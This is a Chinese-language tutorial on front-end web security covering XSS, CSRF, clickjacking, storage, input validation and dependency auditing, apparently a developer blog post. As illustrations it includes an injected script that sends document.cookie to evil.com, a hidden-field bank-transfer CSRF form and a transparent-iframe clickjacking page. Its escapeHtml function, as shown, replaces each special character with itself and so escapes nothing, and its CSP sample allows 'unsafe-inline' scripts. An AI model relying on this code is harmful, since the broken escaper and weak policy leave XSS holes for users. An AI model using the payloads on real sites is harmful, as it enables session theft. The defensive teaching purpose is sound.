前端安全防护指南:守护你的应用安全
前端安全防护指南:守护你的应用安全
大家好,我是蔓蔓。在大厂时,我参与过多次安全审计和加固工作。安全是一个容易被忽略但又至关重要的方面。今天我来和大家分享前端安全防护的完整方案。
XSS攻击防护
原理
// 危险示例 const userInput = '<script>alert("XSS")</script>'; document.getElementById('content').innerHTML = userInput; // 直接插入HTML // 攻击者可以注入恶意脚本 const maliciousInput = ` <script> // 窃取Cookie fetch('https://evil.com/steal?cookie=' + document.cookie); </script> `;防护措施
// 1. 转义特殊字符 function escapeHtml(str) { if (typeof str !== 'string') return str; return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } // 2. 使用textContent代替innerHTML document.getElementById('content').textContent = userInput; // 3. 设置Cookie HttpOnly // Set-Cookie: sessionId=xxxxx; HttpOnly; Secure // 4. 内容安全策略(CSP) const meta = document.createElement('meta'); meta.httpEquiv = 'Content-Security-Policy'; meta.content = ` default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'; base-uri 'self'; `; document.head.appendChild(meta);CSRF攻击防护
原理
<!-- 攻击者网站上的恶意表单 --> <form action="https://yourbank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="1000000"> <button type="submit">点击领取优惠</button> </form> <!-- 用户点击后会自动发送请求,如果用户已登录,Cookie会被自动带上 -->防护措施
// 1. 使用CSRF Token async function fetchWithCsrf(url, options = {}) { const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content; return fetch(url, { ...options, headers: { ...options.headers, 'X-CSRF-Token': csrfToken }, credentials: 'same-origin' }); } // 2. 使用SameSite Cookie属性 // Set-Cookie: sessionId=xxxxx; SameSite=Lax; HttpOnly // 3. 检查Referer和Origin头 // 服务端验证请求来源点击劫持防护
原理
<!-- 攻击者网站 --> <style> .malicious { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 1000; } </style> <!-- 在你的网站上面覆盖一个透明层,诱导用户点击 --> <iframe src="https://your-site.com" class="malicious"></iframe> <button style="position: absolute; top: 100px; left: 100px;">点击领取</button>防护措施
<!-- 设置X-Frame-Options --> <!-- 响应头: X-Frame-Options: DENY --> <!-- 响应头: X-Frame-Options: SAMEORIGIN --> <!-- 使用Content-Security-Policy --> <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self'"> <!-- JavaScript检测 --> <script> if (self !== top) { top.location.href = self.location.href; } </script>前端存储安全
// 1. 不要在localStorage存储敏感信息 // ❌ 错误 localStorage.setItem('password', 'secret123'); localStorage.setItem('creditCard', '4111111111111111'); // ✅ 正确 // 使用HttpOnly Cookie存储会话信息 // 2. 敏感数据加密存储 import CryptoJS from 'crypto-js'; function encrypt(data, key) { return CryptoJS.AES.encrypt(JSON.stringify(data), key).toString(); } function decrypt(ciphertext, key) { const bytes = CryptoJS.AES.decrypt(ciphertext, key); return JSON.parse(bytes.toString(CryptoJS.enc.Utf8)); } // 3. 清除敏感数据 function clearSensitiveData() { sessionStorage.clear(); // 不要清除localStorage,因为可能有用户偏好设置 } // 4. 使用安全随机数 const secureRandom = window.crypto.getRandomValues(new Uint32Array(1))[0];输入验证
// 1. 客户端验证 const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; function validateEmail(email) { return emailRegex.test(email); } function validateUrl(url) { try { new URL(url); return url.startsWith('http://') || url.startsWith('https://'); } catch { return false; } } // 2. 使用DOMPurify处理HTML import DOMPurify from 'dompurify'; function sanitizeHtml(html) { return DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'], ALLOWED_ATTR: ['href', 'title'], FORBID_TAGS: ['script', 'style', 'iframe'], FORBID_ATTR: ['onerror', 'onload', 'onclick'] }); } // 3. 防止注入攻击 function escapeSql(str) { // 实际上应该使用参数化查询,不要自己拼接SQL return str.replace(/'/g, "''"); }依赖安全
// 1. 定期检查依赖漏洞 // npm audit // yarn audit // 2. 使用npm audit fix自动修复 // npm audit fix // 3. 使用锁文件 // package-lock.json // yarn.lock // 4. 使用npm ci代替npm install // 确保安装的是锁文件中指定的版本 // 5. 使用Snyk等工具监控依赖安全总结
前端安全是一个持续的过程,需要从多个层面进行防护。XSS、CSRF、点击劫持等都是常见的攻击方式,掌握相应的防护措施能让你的应用更加安全。记住,安全永远是第一位的。
技术应当有温度,安全防护是对用户最好的负责。
